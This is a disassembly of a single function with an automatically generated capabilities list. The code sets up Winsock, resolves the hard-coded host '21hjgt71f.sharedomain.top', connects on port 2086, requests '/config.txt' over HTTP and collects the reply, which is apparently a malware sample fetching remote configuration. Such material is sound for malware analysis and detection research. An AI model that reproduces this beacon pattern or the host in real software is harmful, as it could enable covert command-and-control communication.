Function at 0x401a57
Capabilities:
Connect socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push 0x5dc
mov eax, 0x413957
call fcn.004123c6
mov dword [ebp - 0x5e8], ecx
lea eax, [ebp - 0x5c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401a8a
xor eax, eax
inc eax
jmp 0x401d0b
push 6
xor ebx, ebx
inc ebx
push ebx
push 2
pop eax
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d03
push 2
pop eax
push 0x70
mov word [ebp - 0x438], ax
call fcn.00404e90
mov esi, str.21hjgt71f.sharedomain.top
pop ecx
push esi
test eax, eax
jne 0x401ad5
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push str.2086
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x434], eax
call fcn.00401741
and dword [ebp - 4], 0
push ecx
mov ecx, eax
call fcn.004019f6
pop ecx
push eax
call dword [sym.imp.WS2_32.dll_htons]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5e4]
mov word [ebp - 0x436], ax
call fcn.00401776
push 0x10
lea eax, [ebp - 0x438]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x401cfc
push 0x80
call fcn.00401fc3
mov dword [esp], str.2086
push esi
push str._config.txt
push str.GET__s_HTTP_1.1_r_nHost:__s:_s_r_nConnection:_close_r_n_r_n
push 0x80
push eax
mov dword [ebp - 0x5cc], eax
call fcn.004019d9
mov edx, dword [ebp - 0x5cc]
add esp, 0x18
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401b6f
push 0
sub ecx, esi
push ecx
push edx
push edi
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x401cfc
xor eax, eax
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x418], eax
mov byte [ebp - 0x428], al
mov dword [ebp - 4], ebx
push eax
jmp 0x401c75
xor ecx, ecx
mov dword [ebp - 0x5d0], 0xf
push eax
mov dword [ebp - 0x5e4], ecx
lea eax, [ebp - 0x410]
mov dword [ebp - 0x5d4], ecx
mov byte [ebp - 0x5e4], cl
lea ecx, [ebp - 0x5e4]
push eax
call fcn.0040179a
push 2
pop eax
mov byte [ebp - 4], al
lea edx, [ebp - 0x5e4]
cmp dword [ebp - 0x5d0], 0x10
mov eax, dword [ebp - 0x414]
cmovae edx, dword [ebp - 0x5e4]
mov esi, dword [ebp - 0x418]
sub eax, esi
mov ecx, dword [ebp - 0x5d4]
push ecx
push edx
cmp ecx, eax
ja 0x401c4c
cmp dword [ebp - 0x414], 0x10
lea eax, [ecx + esi]
mov dword [ebp - 0x418], eax
lea eax, [ebp - 0x428]
cmovae eax, dword [ebp - 0x428]
add esi, eax
push esi
call fcn.00404810
mov eax, dword [ebp - 0x5d4]
add esp, 0xc
mov byte [esi + eax], 0
jmp 0x401c65
mov byte [ebp - 0x5cc], 0
push dword [ebp - 0x5cc]
push ecx
lea ecx, [ebp - 0x428]
call fcn.00401d11
lea ecx, [ebp - 0x5e4]
mov byte [ebp - 4], bl
call fcn.00401776
push 0
push 0x400
lea eax, [ebp - 0x410]
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jg 0x401bb3
push edi
jne 0x401ce3
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, dword [ebp - 0x418]
inc eax
push eax
call fcn.00401fc3
mov ecx, dword [ebp - 0x5e8]
cmp dword [ebp - 0x414], 0x10
mov dword [ecx], eax
lea ecx, [ebp - 0x428]
cmovae ecx, dword [ebp - 0x428]
push ecx
mov ecx, dword [ebp - 0x418]
inc ecx
push ecx
push eax
call fcn.004067eb
mov ebx, dword [ebp - 0x418]
add esp, 0x10
inc ebx
jmp 0x401cef
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
lea ecx, [ebp - 0x428]
call fcn.00401776
jmp 0x401d09
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
call fcn.004123b7
ret